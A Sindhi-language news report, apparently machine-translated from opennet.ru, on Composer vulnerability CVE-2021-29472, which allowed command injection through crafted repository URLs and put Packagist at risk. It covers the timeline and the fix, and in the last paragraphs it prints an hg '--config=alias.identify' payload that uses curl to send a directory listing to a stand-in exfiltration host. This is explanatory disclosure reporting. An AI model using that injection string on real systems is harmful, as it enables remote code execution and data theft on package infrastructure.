ڪمپوزر پيڪيج مئنيجر ۾ ڪمزوري جيڪا اجازت ڏئي ٿي پيڪيجسٽ پي ايڇ پي جي مخزن کي سمجھوتو ڪرڻ جي

ڪمپوزر انحصار مئنيجر ۾ هڪ نازڪ ڪمزوري (CVE-2021-29472) جي نشاندهي ڪئي وئي آهي جيڪا اجازت ڏئي ٿي صوابديدي حڪمن تي عمل ڪيو وڃي سسٽم تي جڏهن هڪ پيڪيج کي پروسيس ڪري رهيو آهي خاص طور تي فارميٽ ٿيل URL ويل سان جيڪو سورس ڪوڊ ڊائون لوڊ ڪرڻ لاءِ پتو بيان ڪري ٿو. مسئلو GitDriver، SvnDriver، ۽ HgDriver اجزاء ۾ ٿئي ٿو جڏهن استعمال ڪيو ويو Git، Subversion، ۽ Mercurial Source Control Systems. ڪمپوزر رليز 1.10.22 ۽ 2.0.13 ۾ ڪمزوريءَ کي حل ڪيو ويو.

اهو خاص طور تي نوٽ ڪيو ويو آهي ته مسئلو بنيادي طور تي ڪمپوزر جي ڊفالٽ پيڪيج ريپوزٽري کي متاثر ڪيو، Packagist، جنهن ۾ 306 پيڪيجز شامل آهن PHP ڊولپرز لاءِ ۽ هر مهيني 1.4 بلين کان وڌيڪ ڊائون لوڊ ڪري ٿو. تجربي ڏيکاريو ته جيڪڏهن مسئلي جي ڄاڻ هجي ها ته حملي آور پيڪيجسٽ انفراسٽرڪچر جو ڪنٽرول حاصل ڪري سگهن ٿا ۽ سنڀاليندڙن جي سندن کي روڪي سگهن ٿا يا پيڪيج ڊائون لوڊ کي ٽئين پارٽي سرور ڏانهن ريڊائريڪٽ ڪري سگهن ٿا، بيڪ ڊور کي متبادل ڪرڻ لاءِ خراب تبديلين سان پيڪيج جي مختلف قسمن جي ترسيل کي منظم ڪن ٿا. انحصار جي انسٽاليشن جي عمل دوران.

آخري استعمال ڪندڙن لاءِ خطرو ان حقيقت تائين محدود آهي ته composer.json جو مواد عام طور تي استعمال ڪندڙ طرفان طئي ڪيو ويندو آهي، ۽ ماخذ لنڪس منتقل ڪيا ويندا آهن جڏهن ٽئين پارٽي جي ذخيرن تائين رسائي حاصل ڪندا آهن، جيڪي عام طور تي قابل اعتماد هوندا آهن. مکيه ڌڪ Packagist.org مخزن ۽ پرائيويٽ پيڪيجسٽ سروس تي پيو، جنهن کي ڪمپوزر سڏيو ويو صارفين کان حاصل ڪيل ڊيٽا جي منتقلي سان. حملو ڪندڙ خاص طور تي ٺهيل پيڪيج کي رکڻ سان پيڪيجسٽ سرورز تي پنهنجو ڪوڊ جاري ڪري سگھن ٿا.

پيڪيجسٽ ٽيم 12 ڪلاڪن اندر خطرن کي درست ڪيو جڏهن ته خطري جي رپورٽ ڪئي وئي. محقق خانگي طور تي پيڪيجسٽ ڊولپرز کي 22 اپريل تي اطلاع ڏنو، ۽ مسئلو ساڳئي ڏينهن مقرر ڪيو ويو. ڪمپوزر لاءِ عوامي تازه ڪاري 27 اپريل تي شايع ڪئي وئي ، جنهن جي تفصيل 28 اپريل تي ظاهر ڪئي وئي. Packagist سرورز تي لاگز جي هڪ آڊٽ کي ظاهر نه ڪيو ويو ته ڪنهن به مشڪوڪ سرگرمي سان لاڳاپيل آهي.

مسئلو روٽ composer.json فائل ۽ سورس ڊائون لوڊ لنڪس ۾ URL جي تصديق واري ڪوڊ ۾ هڪ بگ جي ڪري آهي. غلطي نومبر 2011 کان ڪوڊ ۾ موجود آهي. پيڪيجسٽ خاص پرت استعمال ڪري ٿو ڪوڊ لوڊ ڪرڻ کي منظم ڪرڻ لاءِ بغير ڪنهن مخصوص سورس ڪنٽرول سسٽم سان ڳن linkedيل ، جيڪي ”فرم شيل ڪمانڊ لائن“ ڪال ڪندي ۽ ڪمانڊ لائن دليلن کي پاس ڪندي عمل ۾ ايندا آهن. مثال طور، گٽ لاءِ، حڪم "git ls-remote -heads $URL" سڏيو ويندو آهي، جتي URL "ProcessExecutor::escape($url)" طريقي سان عمل ڪيو ويندو آهي، ممڪن طور تي خطرناڪ تعميرات جهڙوڪ "$(. ..)" يا "`...`".

مسئلي جو بنيادي اهو آهي ته پروسيس ايگزيڪيوٽر:: فرار جو طريقو “—” تسلسل کان بچي نه سگهيو، جنهن جي اجازت ڏني وئي ته ڪنهن به اضافي ڪال پيراميٽر کي URL ۾ بيان ڪيو وڃي. GitDriver.php، SvnDriver.php ۽ HgDriver.php ڊرائيورن ۾ اهڙي فرار غائب هئي. GitDriver.php حملي کي روڪيو ويو ته حقيقت اها آهي ته "git ls-remote" حڪم رستي کان پوء اضافي دليلن جي وضاحت ڪرڻ جي حمايت نه ڪئي. HgDriver.php تي حملو "--config" پيراميٽر کي "hq" يوٽيليٽي ڏانهن منتقل ڪرڻ سان ممڪن ٿيو، جيڪو توهان کي اجازت ڏئي ٿو ته ڪنهن به حڪم جي عمل کي منظم ڪري "alias.identify" سيٽنگ کي ترتيب ڏيڻ سان. مثال طور، ڪرل يوٽيلٽي کي هلائڻ سان ڪوڊ ڊائون لوڊ ۽ عمل ڪرڻ لاءِ، توھان وضاحت ڪري سگھوٿا: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Packagist کي ساڳي URL سان ٽيسٽ پيڪيج پوسٽ ڪرڻ سان، محققن تصديق ڪئي ته پوسٽ ڪرڻ کان پوءِ، انهن جي سرور کي هڪ HTTP درخواست ملي ٿي AWS ۾ Packagist سرور مان جنهن ۾ موجوده ڊاريڪٽري ۾ فائلن جي لسٽ شامل آهي.

جو ذريعو: opennet.ru

تبصرو شامل ڪريو